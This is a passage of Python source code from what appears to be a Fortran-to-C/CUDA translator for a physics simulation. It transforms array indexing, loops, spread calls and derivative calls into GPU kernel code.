get_ac_matrix_res(self,segment,indexes):\n #read/write to matrix indexes\n if \":\" not in indexes[0] and \":\" not in indexes[1]:\n return f\"{segment[0]}.data[{indexes[0]}-1][{indexes[1]}-1]\"\n #Reading matrix row\n elif \":\" not in indexes[0] and indexes[1] == \":\":\n return f\"{segment[0]}.row({indexes[0]}-1)\"\n #Reading matrix col\n elif indexes[0] == \":\" and \":\" not in indexes[1]:\n return f\"{segment[0]}.col({indexes[1]}-1)\"\n else:\n print(\"unsupported matrix read/write\")\n print(line[segment[1]:segment[2]])\n print(indexes)\n def transform_line_stencil(self,line,num_of_looped_dims, local_variables, array_segments_indexes,rhs_var,vectors_to_replace, writes):\n variables = merge_dictionaries(self.static_variables, local_variables)\n last_index = 0\n res_line = \"\"\n #for testing remove later\n # if \"prof_lnt\" in line:\n # return \"\"\n make_vector_copies = False\n #whole nx writes become scalar writes \n #3 dim writes are vectors\n print(\"line\",line)\n print(\"rhs\",rhs_var)\n rhs_segment = get_variable_segments(line, [rhs_var])\n if len(rhs_segment) == 0:\n rhs_segment = self.get_struct_segments_in_line(line, [rhs_var])\n rhs_segment = rhs_segment[0]\n rhs_info = self.get_param_info((line[rhs_segment[1]:rhs_segment[2]],False),local_variables,self.static_variables)\n rhs_dim = [self.evaluate_indexes(dim) for dim in rhs_info[3]]\n if (\n (rhs_var in local_variables and\n (\n (num_of_looped_dims == 0 and len(rhs_dim) == 0)\n or (num_of_looped_dims == 1 and rhs_dim in [[global_subdomain_range_x,\"3\"],[global_subdomain_range_x]])\n or (num_of_looped_dims == 2 and rhs_dim in [[global_subdomain_range_x,\"3\"]])\n or (num_of_looped_dims == 3 and rhs_dim in [[global_subdomain_range_x,\"3\",\"3\"]])\n ))\n or (rhs_var in [\"df\"] or rhs_var in vectors_to_replace)\n ): \n for i in range(len(array_segments_indexes)):\n segment = array_segments_indexes[i]\n if segment[0] in local_variables:\n src = local_variables\n else:\n src = self.static_variables\n if segment[0] == \"df\" or segment[0] == \"f\":\n orig_indexes = get_segment_indexes(segment,line, len([src[segment[0]][\"dims\"]]))\n indexes = [self.evaluate_indexes(index) for index in orig_indexes]\n if not all([okay_stencil_index(self.evaluate_indexes(x[1]),x[0]) for x in enumerate(orig_indexes[:-1])]):\n print(\"How how to handle stencil indexes?\")\n print(line[segment[1]:segment[2]])\n print(indexes)\n print([self.evaluate_indexes(index) for index in orig_indexes])\n pexit(line)\n if \":\" in indexes[-1]:\n if is_vector_stencil_index(indexes[-1]):\n make_vector_copies = True\n else:\n print(\"range in df index 3\")\n print(line[segment[1]:segment[2]])\n print(indexes)\n pexit(orig_indexes)\n if segment[0] == \"df\":\n vtxbuf_name = get_vtxbuf_name_from_index(\"DF_\", remove_mod(indexes[-1]))\n if \"VEC\" in vtxbuf_name:\n res = vtxbuf_name.replace(\"VEC\",vtxbuf_name[-4])\n else: \n res = vtxbuf_name\n elif segment[0] == \"f\":\n #split in case range\n vtxbuf_name = get_vtxbuf_name_from_index(\"F_\",remove_mod(indexes[-1]))\n if \"VEC\" in vtxbuf_name:\n vtxbuf_name = vtxbuf_name.replace(\"VEC\",vtxbuf_name[-4])\n res = f\"vecvalue({vtxbuf_name})\"\n else:\n res = f\"value({vtxbuf_name})\"\n else:\n var_dims = src[segment[0]][\"dims\"]\n indexes = [self.evaluate_indexes(index) for index in get_indexes(line[segment[1]:segment[2]],segment[0],0)]\n is_profile = (\n segment[0] in self.static_variables\n and var_dims in [[global_subdomain_range_x],[global_subdomain_range_with_halos_x],[global_subdomain_range_y],[global_subdomain_range_with_halos_y],[global_subdomain_range_z],[global_subdomain_range_with_halos_z],[global_subdomain_range_x,global_subdomain_range_with_halos_y]]\n and len([x for x in writes if x[\"variable\"] == segment[0]]) == 0\n )\n if is_profile:\n #PROFILE_X\n if var_dims in [[global_subdomain_range_x],[global_subdomain_range_with_halos_x]]:\n if indexes not in [[],[f\"{global_subdomain_range_x_lower}:{global_subdomain_range_x_upper}\"],[f\"{global_subdomain_range_x_lower}+3:{global_subdomain_range_x_upper}+3\"],[f\"{global_subdomain_range_x_lower}-1:{global_subdomain_range_x_upper}-1\"]]:\n print(indexes)\n print(\"WEIRD INDEX in profile_x\")\n print(indexes)\n pexit(line[segment[1]:segment[2]])\n profile_index = \"0\"\n if indexes == [f\"{global_subdomain_range_x_lower}+3:{global_subdomain_range_x_upper}+3\"]:\n profile_index = \"3\"\n if indexes == [f\"{global_subdomain_range_x_lower}-1:{global_subdomain_range_x_upper}-1\"]:\n profile_index = \"-1\"\n #PROFILE_Y\n elif var_dims in [[global_subdomain_range_y],[global_subdomain_range_with_halos_y]]:\n if indexes not in [[global_loop_y],[f\"{global_loop_y}-1\"]]:\n print(\"WEIRD INDEX in profile_y\")\n print(indexes)\n pexit(line[segment[1]:segment[2]])\n profile_index = \"0\"\n if indexes == [f\"{global_loop_y}-1\"]:\n profile_index = \"-1\"\n #PROFILE_Z\n elif var_dims in [[global_subdomain_range_z],[global_subdomain_range_with_halos_z]]:\n if indexes not in [[global_loop_z],[f\"{global_loop_z}+3\"],[f\"{global_loop_z}-1\"],[f\"{global_loop_z}-3\"]]:\n print(\"WEIRD INDEX in profile_z\")\n print(indexes)\n pexit(line[segment[1]:segment[2]])\n profile_index = \"0\"\n if indexes == [f\"{global_loop_z}+3\"]:\n profile_index = \"3\"\n if indexes == [f\"{global_loop_z}-1\"]:\n profile_index = \"-1\"\n if indexes == [f\"{global_loop_z}-3\"]:\n profile_index = \"-3\"\n #PROFILE_XY\n elif var_dims in [[global_subdomain_range_x,global_subdomain_range_with_halos_y]]:\n if indexes not in [[\":\",global_loop_y]]:\n print(\"WEIRD INDEX in profile_xy\")\n print(indexes)\n pexit(line[segment[1]:segment[2]])\n profile_index = \"0\"\n else:\n pexit(\"add profile mapping to profile \" + self.profile_mappings[segment[0]])\n res = \"AC_PROFILE_\" + segment[0].upper() + \"[\" + profile_index + \"]\"\n #assume that they are auxiliary variables that similar to pencils but not inside pencil case\n elif segment[0] in self.static_variables and var_dims in [[global_subdomain_range_x],[global_subdomain_range_with_halos_x]]:\n if indexes in [[\":\"]]:\n res = segment[0]\n else:\n res = line[segment[1]:segment[2]]\n #these turn to scalar read/writes\n elif segment[0] in local_variables and self.evaluate_indexes(src[segment[0]][\"dims\"][0]) == global_subdomain_range_x and indexes in [[],[\":\"]]:\n res = segment[0]\n elif segment[0] in local_variables and self.evaluate_indexes(src[segment[0]][\"dims\"][0]) == global_subdomain_range_with_halos_x and indexes in [f\"{global_subdomain_range_x_lower}:{global_subdomain_range_x_upper}\"]:\n res = segment[0]\n #global vec\n elif segment[0] in self.static_variables and src[segment[0]][\"dims\"] == [\"3\"] and indexes in [[\"1\"],[\"2\"],[\"3\"]]:\n #do nothing\n return line[segment[1]:segment[2]]\n elif src[segment[0]][\"dims\"] == [global_subdomain_range_x,\"3\"]:\n indexes = [self.evaluate_indexes(index) for index in indexes]\n if indexes[0] == \":\":\n if indexes[1] in [\":\",\"1:3\"]:\n res = segment[0]\n elif indexes[1] not in [\"1\",\"2\",\"3\"]:\n print(\"what to do?\")\n print(line)\n print(indexes)\n print(line[segment[1]:segment[2]])\n assert(False)\n elif indexes[1] == \"1\":\n res = f\"{segment[0]}.x\"\n elif indexes[1] == \"2\":\n res = f\"{segment[0]}.y\"\n elif indexes[1] == \"3\":\n res = f\"{segment[0]}.z\"\n else:\n print(\"what to do?\")\n print(indexes)\n assert(False)\n #constant local array\n elif len(src[segment[0]][\"dims\"]) == 1 and src[segment[0]][\"dims\"][0].isnumeric() and len(indexes) == 1:\n return line[segment[1]:segment[2]]\n #can simply do the lookup normally for lpencil\n elif segment[0] == \"lpencil\":\n res = line[segment[1]:segment[2]]\n #AcMatrix\n elif src[segment[0]][\"dims\"] == [\"3\",\"3\"]:\n res = self.get_ac_matrix_res(segment,indexes)\n #nx var -> AcMatrix\n elif src[segment[0]][\"dims\"] == [global_subdomain_range_x,\"3\",\"3\"] and indexes[0] == \":\": \n res = self.get_ac_matrix_res(segment,indexes[1:])\n # #read/write to matrix indexes\n # if indexes[0] ==\":\" and \":\" not in indexes[1] != \":\" and \":\" not in indexes[2]:\n # res =f\"{segment[0]}.data[{indexes[1]}][{indexes[2]}]\"\n # #Reading matrix row\n # elif indexes[0] == \":\" and \":\" not in indexes[1] and indexes[2] == \":\":\n # res =f\"{segment[0]}.row({indexes[1]})\"\n # #Reading matrix col\n # elif indexes[0] == \":\" and indexes[1] == \":\" and \":\" not in indexes[2]:\n # res =f\"{segment[0]}.col({indexes[1]})\"\n # else:\n # print(\"unsupported matrix read/write\")\n # print(line[segment[1]:segment[2]])\n # print(num_of_looped_dims)\n # print(indexes)\n # pexit(line)\n #AcTensor\n elif src[segment[0]][\"dims\"] == [global_subdomain_range_x,\"3\",\"3\",\"3\"]:\n #read/write to tensor indexes:\n if num_of_looped_dims == 1 and indexes[0] == \":\":\n res = f\"{segment[0]}.data[{indexes[1]}][{indexes[2]}][{indexes[3]}]\"\n else:\n print(\"unsupported tensor read/write\")\n print(line[segment[1]:segment[2]])\n else:\n print(\"what to do?\")\n print(line[segment[1]:segment[2]])\n print(segment[0])\n print(\"is static: \",segment[0] in self.static_variables)\n print(\"is local: \",segment[0] in local_variables)\n print(\"var dims\",var_dims)\n print(src[segment[0]])\n pexit(line)\n res_line += line[last_index:segment[1]] + res\n last_index = segment[2]\n # res_line += line[last_index:] + \";\"\n res_line += line[last_index:]\n # #For time being commented out\n # if \"%\" in res_line:\n # res_line = res_line.replace(\";\",\"\")\n # res_final_line = \"\"\n # last_index = 0\n # struct_segs = self.get_struct_segments_in_line(res_line,variables)\n # for seg in struct_segs:\n # var_name,field = [part.strip() for part in seg[0].split(\"%\",1)]\n # if var_name in local_variables:\n # src = local_variables\n # elif var_name in self.static_variables:\n # src = self.static_variables\n # if src[var_name][\"type\"] != \"pencil_case\":\n # print(\"what to do non pencil_case struct ?\")\n # print(\"struct seg\", seg[0], res_line[seg[1]:seg[2]])\n # exit()\n # else:\n # indexes = [self.evaluate_indexes(index) for index in get_segment_indexes(seg, res_line, 0)]\n # #replace 1:n -> with : if an index dim is n\n # for i,index in enumerate(indexes):\n # if \":\" in index and index != \":\":\n # lower,upper = [part.strip() for part in index.split(\":\")]\n # if lower == \"1\" and upper == self.struct_table[src[var_name][\"type\"]][field][\"dims\"][i]:\n # indexes[i] = \":\"\n # ##Pencil case will become a x dimensional profile.\n # ##If vec make three x dimensional profiles\n # if \"(\" not in res_line[seg[1]:seg[2]] or indexes == [\":\"] or (len(indexes) == 2 and indexes[0] == \":\" and (indexes[1].isnumeric() or indexes[1] == \":\")):\n # res = \"AC_PROFILE_\" + field.upper()\n # else:\n # print(\"weird array access in pencil case\")\n # print(res_line[seg[1]:seg[2]])\n # print(indexes)\n # print(line)\n # exit()\n # res_final_line= res_final_line + res_line[last_index:seg[1]]\n # res_final_line = res_final_line + res \n # last_index = seg[2]\n # res_final_line= res_final_line + res_line[last_index:]\n # res_line = res_final_line + \";\"\n return res_line\n\n else:\n print(\"NO case for\",line)\n print(\"RHS VAR\",rhs_var)\n print(rhs_var in local_variables)\n pexit(local_variables[rhs_var][\"dims\"])\n def transform_line_boundcond(self,line,num_of_looped_dims, local_variables, array_segments_indexes,rhs_var,vectors_to_replace):\n last_index = 0\n res_line = \"\"\n if (num_of_looped_dims==0 or num_of_looped_dims==2) and (rhs_var in local_variables or rhs_var == \"f\"): \n for i in range(len(array_segments_indexes)):\n segment = array_segments_indexes[i]\n if segment[0] in local_variables:\n src = local_variables\n else:\n src = self.static_variables\n if segment[0] == \"f\":\n indexes = [self.evaluate_indexes(index) for index in get_segment_indexes(segment,line, len(src[segment[0]][\"dims\"]))]\n vtxbuf_name = get_vtxbuf_name_from_index(\"VTXBUF_\", indexes[-1])\n new_var = f\"vba.in[{vtxbuf_name}]\"\n indexes= indexes[:-1]\n for i,index in enumerate(indexes):\n if \":\" in index:\n indexes[i] = self.map_to_new_index(indexes[i],i,local_variables,line)\n else:\n #convert from 1 to 0 based index\n indexes[i] = f\"{indexes[i]}-1\"\n res = f\"{new_var}[DEVICE_VTXBUF_IDX({','.join(indexes)})]\"\n ##Value local to kernel i.e. from the viewpoint of a thread a scalar\n elif segment[0] in local_variables and len(local_variables[segment[0]][\"dims\"]) == 2 and num_of_looped_dims == 2:\n res = segment[0] \n else:\n\n indexes = [self.evaluate_indexes(index) for index in get_segment_indexes(segment,line,len(src[segment[0]][\"dims\"]))]\n num_of_looping_dim = -1\n for i,index in enumerate(indexes):\n if \":\" in index:\n num_of_looping_dim += 1\n if index == \":\":\n possible_index = src[segment[0]][\"dims\"][i]\n if possible_index == \":\":\n possible_index = local_variables[rhs_var][\"dims\"][num_of_looping_dim]\n indexes[i] = self.map_to_new_index(\"1:\" + possible_index,local_variables)\n elif \":\" in index:\n indexes[i] = self.map_to_new_index(indexes[i],local_variables)\n else:\n indexes[i] = index\n res = segment[0]\n for index in indexes:\n res = res + f\"[{index}]\"\n res_line = res_line + line[last_index:segment[1]]\n res_line = res_line + res \n if \":\" in res or \"explicit_index\" in res or (\"(\" in res and \"DEVICE\" not in res) or \"'\" in res:\n print(\"NEED to transform more earlier\")\n print(\"LINE\",line)\n print(\"RES_LINE\",res_line)\n print(\"RES\",res)\n print(\"indexes\",)\n print(\"indexes\",indexes)\n print(\"seg\",segment)\n pexit(\"seg line \" + line[segment[1]:segment[2]])\n last_index = segment[2]\n res_line = res_line + line[last_index:]\n res_line = res_line + \";\"\n if \":\" in res_line or \"explicit_index\" in res_line or not has_balanced_parens(res_line) or \";\" not in res_line or \"()\" in res_line:\n print(\"NEED to transform more\")\n print(\"LINE\",line)\n print(\"RES_LINE\",res_line)\n pexit(\"RES: \" + res)\n return res_line\n\n else:\n print(\"NO case for\",line)\n exit()\n def unroll_constant_loops(self,lines,local_variables):\n found_constant_loop = True\n while(found_constant_loop):\n lines,found_constant_loop = self.unroll_constant_loops_once(lines,local_variables)\n return lines\n def unroll_constant_loops_once(self,lines,local_variables):\n constant_loops_indexes = []\n in_constant_loop = False\n found_constant_loop = False\n loop_start_index = 0\n do_nest_num = 0\n for line_index, line in enumerate(lines):\n if not found_constant_loop:\n if in_constant_loop:\n constant_loops_indexes.append(line_index)\n if line[:3] == \"do \" and \"while\" not in line and \"end\" not in line:\n do_nest_num += 1\n write = self.get_writes_from_line(line)[0]\n lower,upper = [self.evaluate_integer(part.strip()) for part in write[\"value\"].split(\",\")]\n # lower,upper= [part.strip() for part in write[\"value\"].split(\",\")]\n print(\"DO LINE\",line)\n print(\"PARTS:\",lower,upper)\n print(self.evaluate_integer(\"1+1\"))\n if lower.isnumeric() and upper.isnumeric():\n loop_index = write[\"variable\"]\n in_constant_loop = True\n do_nest_num = 1\n constant_loops_indexes = []\n replacements = []\n loop_start_index = line_index\n add_replacement = int(lower)\n while add_replacement <= int(upper):\n replacements.append(str(add_replacement))\n add_replacement += 1\n\n if \"do\" in line and \"end\" in line and in_constant_loop:\n do_nest_num -= 1\n if do_nest_num == 0:\n in_constant_loop = False\n constant_loops_indexes.pop()\n found_constant_loop = True\n lines_to_add = []\n remove_indexes = [loop_start_index,line_index]\n # for replacement in replacements:\n # for x in lines_to_unroll:\n # lines_to_add.append(replace_variable(x,loop_index,replacement))\n # for x in lines_to_add:\n # res_lines.append(x)\n\n\n if not found_constant_loop:\n return (lines,False)\n if len(constant_loops_indexes) == 0:\n return ([x[1] for x in enumerate(lines) if x[0] not in remove_indexes],True)\n \n res_lines = []\n unrolled_lines = []\n for replacement in replacements:\n for x in constant_loops_indexes:\n unrolled_lines.append(replace_variable(lines[x],loop_index,replacement))\n for line_index,line in enumerate(lines):\n if line_index not in constant_loops_indexes and line_index not in remove_indexes:\n res_lines.append(line)\n if line_index == constant_loops_indexes[0]:\n res_lines.extend(unrolled_lines)\n return (res_lines,found_constant_loop)\n def transform_line(self,i,lines,local_variables,loop_indexes,symbol_table,initialization_lines,orig_params,transform_func,vectors_to_replace,writes):\n line = lines[i]\n #we disregard some mn_loop setup lines\n if line in [\"n__mod__cdata=nn__mod__cdata(imn__mod__cdata)\",\"m__mod__cdata=mm__mod__cdata(imn__mod__cdata)\",\"mn_loop: do imn=1,ny*nz\",\"enddo mn_loop\",\"headtt=.false.\",\"lfirstpoint=.false.\"]:\n return \"\"\n variables = merge_dictionaries(self.static_variables, local_variables)\n if is_init_line(line):\n vars_in_line = {}\n self.get_variables_from_line(line,i,vars_in_line, self.file,\"\",True, False)\n vars_to_declare = []\n for var in vars_in_line:\n if var.strip() in local_variables and var.strip() not in orig_params:\n vars_to_declare.append(var)\n if self.offload_type == \"stencil\":\n if len(vars_to_declare) == 0 or local_variables[vars_to_declare[0]][\"type\"] != \"real\":\n return \"\"\n if local_variables[vars_to_declare[0]][\"dims\"] == [global_subdomain_range_x]:\n return \"real \" + \", \".join(vars_to_declare)\n if local_variables[vars_to_declare[0]][\"dims\"] == [global_subdomain_range_x,\"3\",\"3\"]:\n return \"Matrix \" + \", \".join(vars_to_declare)\n if local_variables[vars_to_declare[0]][\"dims\"] == [global_subdomain_range_x,\"3\"]:\n return \"real3 \" + \", \".join(vars_to_declare)\n if local_variables[vars_to_declare[0]][\"dims\"] == [global_subdomain_range_x,\"3\",\"3\",\"3\"]:\n #tensors are not yet supported\n return \"\"\n return \"Tensor \" + \", \".join(vars_to_declare)\n return \"\"\n\n \n if len(vars_to_declare) > 0 and local_variables[vars_to_declare[0]][\"type\"] != \"pencil_case\":\n return translate_to_c(local_variables[vars_to_declare[0]][\"type\"]) + \" \" + \", \".join(vars_to_declare) + \";\"\n else:\n return \"\"\n if line.strip() == \"exit\":\n return \"continue\"\n if \"else\" in line and \"if\" in line:\n return \"}\\n\" + line.replace(\"then\",\"{\").replace(\"elseif\",\"else if\")\n if \"else\" in line:\n return \"}\\nelse {\"\n if \"if\" in line and \"then\" in line:\n params = self.get_function_calls_in_line(line.replace(\"then\",\"\"),local_variables)[0][\"parameters\"]\n if len(params) == 1:\n return line.replace(\"then\",\"{\")\n else:\n return line.replace(\"then\",\"{\")\n if \"end\" in line and \"select\" in line:\n return \"}\\n\"\n if \"select case\" in line:\n select_case_var = line.split(\"(\")[1].split(\")\")[0].lower()\n return f\"switch({select_case_var})\"+\"{\\n\"\n if \"case\" in line and \"default\" in line:\n return \"default:\"\n if \"case\" in line:\n select_case_var = line.split(\"(\")[1].split(\")\")[0]\n return f\"case {select_case_var}:\\n\"\n if \"end\" in line and \"do\" in line:\n loop_indexes = loop_indexes[:-1]\n return \"}\\n\"\n if \"subroutine\" in line and \"end\" in line:\n if self.test_to_c:\n return \"\"\n else:\n return \"}\\n\"\n if \"subroutine\" in line:\n function_name = self.get_function_calls_in_line(line,local_variables)[0][\"function_name\"]\n if self.test_to_c:\n return \"\"\n elif self.offload_type == \"boundcond\":\n return f\"static __global__ void\\n {function_name}(const int3 dims, VertexBufferArray vba)\\n\"+\"{\\n\"\n elif self.offload_type == \"stencil\":\n return \"Kernel rhs(){\"\n if is_use_line(line):\n return \"\"\n if \"do\" in line[:2]:\n loop_index = self.get_writes_from_line(line)[0][\"variable\"]\n lower,upper= [part.strip() for part in line.split(\"=\")[1].split(\",\",1)]\n loop_indexes.append(loop_index)\n return f\"for(int {loop_index} = {lower};{loop_index}<={upper};{loop_index}++)\" +\"{\"\n if \"endif\" in line:\n return \"}\"\n original_line = line\n if new_is_variable_line(line):\n return \"\"\n\n func_calls = self.get_function_calls_in_line(line,local_variables)\n if len(func_calls) == 1 and func_calls[0][\"function_name\"] in der_funcs:\n file_path = self.find_subroutine_files(func_calls[0][\"function_name\"])[0]\n interfaced_call = self.get_interfaced_functions(file_path,func_calls[0][\"function_name\"])[0]\n #derij_main will do nothing if i==\n if interfaced_call == \"derij_main\" and func_calls[0][\"parameters\"][3] == func_calls[0][\"parameters\"][4]:\n return \"\"\n if interfaced_call not in implemented_der_funcs:\n print(\"implement der func:\",interfaced_call, \"in DSL\")\n print(func_calls[0])\n exit()\n else:\n new_param_list = self.get_static_passed_parameters(func_calls[0][\"parameters\"],local_variables,self.static_variables)\n param_types = [(param[2],param[3]) for param in new_param_list]\n if str(param_types) not in implemented_der_funcs[interfaced_call]:\n #for der4 if ignoredx is not on then it a normal ignoredx call\n # if interfaced_call in [\"der4\",\"der6_main\"] and len(func_calls[0][\"parameters\"]) == 5 and self.evaluate_boolean(func_calls[0][\"parameters\"][4],local_variables,[]) == \".false.\":\n # pass\n # else:\n print(interfaced_call)\n print(\"not implemented for these param types\")\n print(param_types)\n print(func_calls[0])\n exit()\n rest_params = func_calls[0][\"parameters\"][:2] + func_calls[0][\"parameters\"][3:]\n if interfaced_call in [\"der_main\",\"der2_main\"]:\n res = f\"{func_calls[0]['parameters'][2]} = {der_func_map[interfaced_call][func_calls[0]['parameters'][3]]}({self.get_der_index(func_calls[0]['parameters'][1])})\"\n elif interfaced_call in [\"der6_main\"]:\n if len(new_param_list) == 4:\n res = f\"{func_calls[0]['parameters'][2]} = {der_func_map[interfaced_call][func_calls[0]['parameters'][3]]}({self.get_der_index(func_calls[0]['parameters'][1])})\"\n else:\n if new_param_list[4][-1] == \"upwind\":\n res = f\"{func_calls[0]['parameters'][2]} = {der_func_map[interfaced_call][func_calls[0]['parameters'][3]]}_upwd({self.get_der_index(func_calls[0]['parameters'][1])})\"\n else:\n print(\"hmm is it ignoredx?\")\n print(new_param_list)\n assert(False)\n else:\n print(\"no der case for \", interfaced_call)\n assert(False)\n return res\n\n rhs_segment = get_rhs_segment(line)\n if rhs_segment is None:\n print(\"rhs seg is None\")\n print(\"line: \",line)\n print(func_calls)\n exit()\n rhs_var = self.get_rhs_variable(line)\n if rhs_var is None:\n print(\"rhs var is none\")\n pexit(line)\n rhs_var = rhs_var.lower()\n if rhs_var not in local_variables:\n if rhs_var in [\".false.\",\".true.\"]:\n return \"\"\n local_variables[rhs_var] = self.static_variables[rhs_var]\n # print(\"WHAT TO DO rhs not in variables\",line)\n # print(rhs_var)\n\n # # #for the time being simply assume they are diagnostics writes so can simply remove them\n # # return \"\"\n \n # print(rhs_var in self.static_variables)\n # if rhs_var == global_loop_z:\n # print(\"IS n_save in local_variables?\",\"n_save\" in local_variables)\n # exit()\n dim = len(variables[rhs_var][\"dims\"])\n indexes = get_indexes(get_rhs_segment(line),rhs_var,dim)\n dims, num_of_looped_dims = get_dims_from_indexes(indexes,rhs_var)\n\n #line = self.transform_spread(line,[f\":\" for i in range(num_of_looped_dims)],local_variables)\n array_segments_indexes = self.get_array_segments_in_line(line,variables)\n return transform_func(line,num_of_looped_dims, local_variables, array_segments_indexes,rhs_var,vectors_to_replace,writes)\n def transform_spreads(self,lines,local_variables,variables):\n res_lines = []\n for line_index, line in enumerate(lines):\n spread_calls= [call for call in self.get_function_calls_in_line(line,variables) if call[\"function_name\"] == \"spread\"]\n if len(spread_calls) > 1:\n print(\"multiple spread calls\",line)\n exit()\n elif len(spread_calls) == 1:\n if \"*/=\" in line:\n print(\"wrong\")\n pexit(line)\n call = spread_calls[0]\n lhs = call[\"parameters\"][0]\n redundant_index = call[\"parameters\"][1]\n rhs_var = self.get_rhs_variable(line)\n res_line = self.replace_func_call(line,call,lhs)\n rhs_segment = get_variable_segments(line, [rhs_var])\n if len(rhs_segment) == 0:\n rhs_segment = self.get_struct_segments_in_line(line, [rhs_var])\n rhs_segment = rhs_segment[0]\n rhs_info = self.get_param_info((line[rhs_segment[1]:rhs_segment[2]],False),local_variables,self.static_variables)\n var_name = line[rhs_segment[1]:rhs_segment[2]]\n rhs_indexes = get_segment_indexes(rhs_segment,res_line,0)\n if rhs_indexes == [] and len(rhs_info[3]) == 1:\n new_rhs = f\"{var_name}\"\n res_line = new_rhs + res_line[rhs_segment[2]:]\n res_lines.append(res_line)\n # res_lines.append(f\"do explicit_index = 1,{rhs_info[3][0]}\")\n # res_lines.append(res_line)\n # res_lines.append(\"enddo\")\n #spreading scalar to vectors\n elif call[\"parameters\"][1] == \"2\" and call[\"parameters\"][2] == \"3\":\n if \"spread_index\" not in local_variables:\n local_variables[\"spread_index\"] = {\n \"type\": \"integer\",\n \"dims\": []\n }\n res_lines.append(\"do spread_index=1,3\")\n new_rhs = f\"{var_name}(:,spread_index)\"\n res_lines.append(new_rhs + res_line[rhs_segment[2]:])\n res_lines.append(\"enddo\")\n if \"*/=\" in res_line:\n print(\"wrong\")\n print(line)\n print(\"--->\")\n pexit(res_line)\n\n #not really a spread\n elif call[\"parameters\"][2] == \"1\":\n res_lines.append(res_line)\n if \"*/=\" in res_line:\n print(\"wrong\")\n print(line)\n print(\"--->\")\n pexit(res_line)\n else:\n print(\"have to append it to\")\n print(\"rhs var\",rhs_var)\n print(\"indexes\",rhs_indexes)\n print(variables[rhs_var][\"dims\"])\n pexit(line)\n \n else:\n res_lines.append(line)\n return res_lines\n def elim_empty_dos(self,lines,local_variables):\n orig_line_len = len(lines)+1\n while(orig_line_len > len(lines)):\n orig_line_len = len(lines)\n remove_indexes = []\n for line_index, line in enumerate(lines[:-2]):\n if len(line) > 3:\n if line[:3] == \"do \" and \"while\" not in line and \"end\" not in line:\n if any([x == lines[line_index+1] for x in [\"enddo\", \"end do\"]]):\n remove_indexes.append(line_index)\n remove_indexes.append(line_index+1)\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n return lines\n def elim_empty_branches(self,lines,local_variables):\n orig_line_len = len(lines)+1\n while(orig_line_len > len(lines)):\n orig_line_len = len(lines)\n remove_indexes = []\n for line_index, line in enumerate(lines[:-2]):\n if \"if\" in line and \"then\" in line:\n if_calls = [call for call in self.get_function_calls_in_line(line,local_variables) if call[\"function_name\"] == \"if\"]\n if len(if_calls) == 1:\n if any([x == lines[line_index+1] for x in [\"endif\", \"end if\"]]):\n remove_indexes.append(line_index)\n remove_indexes.append(line_index+1)\n elif lines[line_index+1] == \"else\" and any([x == lines[line_index+2] for x in [\"endif\", \"end if\"]]):\n remove_indexes.extend([line_index,line_index+1,line_index+2])\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n return lines\n def elim_unnecessary_writes_and_calls(self,lines,local_variables,variables):\n orig_lines_len = len(lines)+1\n while(orig_lines_len>len(lines)):\n print(orig_lines_len,len(lines))\n orig_lines_len = len(lines)\n #elim empty if branches\n lines = self.elim_empty_branches(lines,local_variables)\n var_dict = {}\n writes = self.get_writes(lines,False)\n #the first line is the subroutine we are transforming so skip it\n func_calls = self.get_function_calls(lines,local_variables,False)\n for call in func_calls:\n if call[\"function_name\"] in der_funcs:\n output_param = call[\"parameters\"][2].split(\"(\")[0].strip()\n if output_param not in var_dict:\n var_dict[output_param] = {\n \"indexes\": [],\n \"is_used\": False\n }\n var_dict[output_param][\"indexes\"].append(call[\"line_num\"])\n for write in [x for x in writes if x[\"variable\"] not in [\".false.\",\".true.\"]]:\n line = write[\"line\"]\n line_index = write[\"line_num\"]\n rhs_segment = get_variable_segments(line, [write[\"variable\"]])\n if len(rhs_segment) == 0:\n rhs_segment = self.get_struct_segments_in_line(line, [write[\"variable\"]])\n rhs_segment = rhs_segment[0]\n var_name = line[rhs_segment[1]:rhs_segment[2]].split(\"::\",1)[-1].split(\"(\",1)[0].strip()\n if var_name not in var_dict:\n var_dict[var_name] = {\n \"indexes\": [],\n \"is_used\": False\n }\n #some calls imply a write so redundant to check for it\n for call in [call for call in func_calls if call[\"function_name\"] not in [\"max\",\"min\",\"maxval\",\"cos\",\"sin\",\"cosh\",\"sinh\"] and var_name in call[\"line\"]]:\n if var_name in call[\"parameters\"]:\n var_dict[var_name][\"is_used\"] = True\n\n for var_name_in_dict in [x for x in var_dict if not var_dict[x][\"is_used\"]]:\n if ((\"%\" in var_name_in_dict and var_name_in_dict in write[\"value\"]) or (var_name_in_dict in write[\"value\"] and var_name_in_dict in get_used_variables_from_line(write[\"value\"],False))):\n if var_name_in_dict != var_name:\n var_dict[var_name_in_dict][\"is_used\"] = True\n var_dict[var_name][\"indexes\"].append(line_index)\n \n remove_indexes = []\n if \"mass_per_proc\" in var_dict:\n var_dict[\"mass_per_proc\"][\"is_used\"] = False\n for var in var_dict:\n if not var_dict[var][\"is_used\"]:\n if self.get_param_info((var,False),local_variables,variables)[2] != \"integer\":\n remove_indexes.extend(var_dict[var][\"indexes\"])\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n return lines\n def get_module_where_declared(self,static_var,filename):\n possible_modules = []\n modules = self.file_info[filename][\"used_modules\"]\n for mod in modules:\n if modules[mod]:\n if static_var in modules[mod]:\n possible_modules.append(mod)\n elif static_var in self.rename_dict[mod]:\n possible_modules.append(mod)\n if len(possible_modules) == 1:\n return possible_modules[0]\n print(\"did not found module for var: \",static_var)\n print(\"len possible modules:\", len(possible_modules))\n print(\"possible modules:\",possible_modules)\n for x in possible_modules:\n print(x, static_var in self.rename_dict[x])\n print(x, static_var in self.rename_dict[x])\n exit()\n def transform_lines(self,lines,all_inlined_lines,local_variables,transform_func):\n for i,line in enumerate(lines):\n if not has_balanced_parens(line) and \"print*\" not in line:\n print(\"not balanced\")\n print(\"--->\")\n pexit(line)\n for var in self.known_dims:\n self.static_variables[var][\"dims\"] = self.known_dims[var]\n symbol_table = {}\n #mapping that can be deduced for global flags\n lines = [line.replace(\"\\n\",\"\") for line in lines]\n #transform cases to if statements to be able to analyse them together with other if cases\n\n orig_params = [param for param in self.get_function_calls_in_line(lines[0],local_variables)[0][\"parameters\"] if local_variables[param][\"type\"] != \"pencil_case\"]\n loop_indexes = []\n initialization_lines = []\n variables = merge_dictionaries(self.static_variables, local_variables)\n writes = self.get_writes(lines)\n remove_indexes = []\n for line_index,line in enumerate(lines):\n if len([call for call in self.get_function_calls_in_line(line,local_variables) if call[\"function_name\"] 